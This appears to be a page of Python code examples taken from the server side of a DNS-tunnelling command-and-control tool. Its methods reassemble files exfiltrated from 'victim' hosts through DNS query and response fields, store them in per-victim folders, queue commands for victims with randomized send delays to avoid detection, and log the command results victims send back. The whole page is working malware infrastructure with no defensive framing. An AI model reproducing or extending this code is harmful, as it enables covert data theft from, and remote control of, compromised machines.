예제 #1
0
    def _receive_data(self, pkt):
        """Handle processing data corresponding to file transfers
        
        Arguments:
            pkt {Ether} -- packet that was sent by the client
        """

        log('DataReceiver', '_receive_data', 'Received data packet')
        victim_mac = Mac(pkt.getlayer(DNSQR).qname.split('.')[0])

        victim_dir = self.rel_path + str(victim_mac)
        if not os.path.exists(victim_dir):
            log('DataReceiver', '_receive_data', 'Unknown host.')
            return

        # Ignore broadcast since Ether() is sent as empty
        if str(victim_mac) == BROADCAST_MAC:
            return

        # Process packets
        dns_layer = pkt.getlayer(DNS)
        dnsqr_layer = pkt.getlayer(DNSQR)
        fields = dnsqr_layer.qname[:-1].split('.') # There is a trailing period
        filename = fields[-2] + '.' + fields[-1]

        if fields[-2] == '.com':
            filename = fields[-1]

        key = str(victim_mac) + '@' + filename

        self._handle_data_pkts(pkt, dns_layer, dnsqr_layer, filename, key, victim_mac)
예제 #2
0
    def _receive_ping(self, pkt):
        """Handle when the client sends a request to ping the server for a command to run
        
        Arguments:
            pkt {Ether} -- packet sent from the client
        """

        # Fetch given command that should be sent to the client
        log('DataReceiver', '_receive_ping', 'Received ping packet')
        victim_mac = Mac(pkt.getlayer(DNSQR).qname.split('.')[0])

        # Ignore broadcast since Ether() is sent as empty
        if str(victim_mac) == BROADCAST_MAC:
            return

        # If client connecting for first time, create new dir for it
        victim_dir = self.rel_path + str(victim_mac)
        if not os.path.exists(victim_dir):
            self._init_victim_dir(victim_dir)

        pkts = self.cmd_parser.parse(victim_mac, pkt, victim_dir, self.cmd_file)

        # Send packets back to victim
        for p in pkts:
            self.queue.enqueue(p)
예제 #3
0
    def _handle_data_pkts(self, pkt, dns_layer, dnsqr_layer, filename, key, victim_mac):
        if dns_layer == None or dnsqr_layer == None:
            return

        # Determine if it is a head, body, or tail packet
        if dns_layer.opcode == DataRequestType.HEAD:
            # Create entry, append data
            dnsrr_layer = pkt.getlayer(DNSRR)
            dns_layer = pkt.getlayer(DNS)
            self.file_transfer[key] = [PacketData(0, dnsrr_layer.rdata)]

        elif dns_layer.opcode == DataRequestType.NORMAL:
            dnsrr_layer = pkt.getlayer(DNSRR)
            dns_layer = pkt.getlayer(DNS)
            self.file_transfer[key].append(PacketData(dnsqr_layer.qclass, dnsrr_layer.rdata))
        elif dns_layer.opcode == DataRequestType.TAIL:
            dnsrr_layer = pkt.getlayer(DNSRR)
            dns_layer = pkt.getlayer(DNS)
            self.file_transfer[key].append(PacketData(dnsqr_layer.qclass, dnsrr_layer.rdata))

            # Sort packets since they may be out of order
            self.file_transfer[key] = sorted(self.file_transfer[key], key=attrgetter('index'))

            # Write to file from buffer
            victim_dir = self.rel_path + str(victim_mac)
            with open(victim_dir + '/files/' + filename, 'wb+') as f:
                buf = ''
                log('DataReceiver', '_handle_data_pkts', 'Writing %s to file'.format(self.file_transfer[key]))
                print(self.file_transfer[key])
                for packet in self.file_transfer[key]:
                    buf += packet.data

                f.write(buf)
예제 #4
0
    def process(self):
        if self.queue:
            command_pkt = self.dequeue()
            log('CommandQueue', 'process', 'Processing packet')

            # Randomize packet transfer interval
            low = int(self.config.delay_time) - int(
                self.config.delay_time_offset)
            high = int(self.config.delay_time) + int(
                self.config.delay_time_offset)
            timeout = secrets.choice(range(low, high))
            log('CommandQueue', 'process', 'Timeout ({})'.format(timeout))

            time.sleep(timeout)

            if command_pkt == None:
                return

            # Send the packet that was built
            sendp(command_pkt, iface=self.interface)
예제 #5
0
    def _receive_recpt(self, pkt):
        """Process RECPT request from the client and writes out result of command to file
        
        Arguments:
            pkt {Ether} -- packet sent from client
        """
        log('DataReceiver', '_receive_recpt', 'Received receipt packet')

        # Scapy concats the rdata together, even if it exceeds 255 bytes
        # test = pkt.getlayer(DNSRR)
        # print(test.rdata)

        # Create a new file with current timestamp with output of command
        victim_mac = Mac(pkt.getlayer(DNSQR).qname.split('.')[0])

        # Ignore broadcast since Ether() is sent as empty
        if str(victim_mac) == BROADCAST_MAC:
            return

        self._write_cmd_result(pkt, victim_mac)
예제 #6
0
 def enqueue(self, command_pkt):
     log('CommandQueue', 'enqueue', 'Added to queue')
     self.queue.append(command_pkt)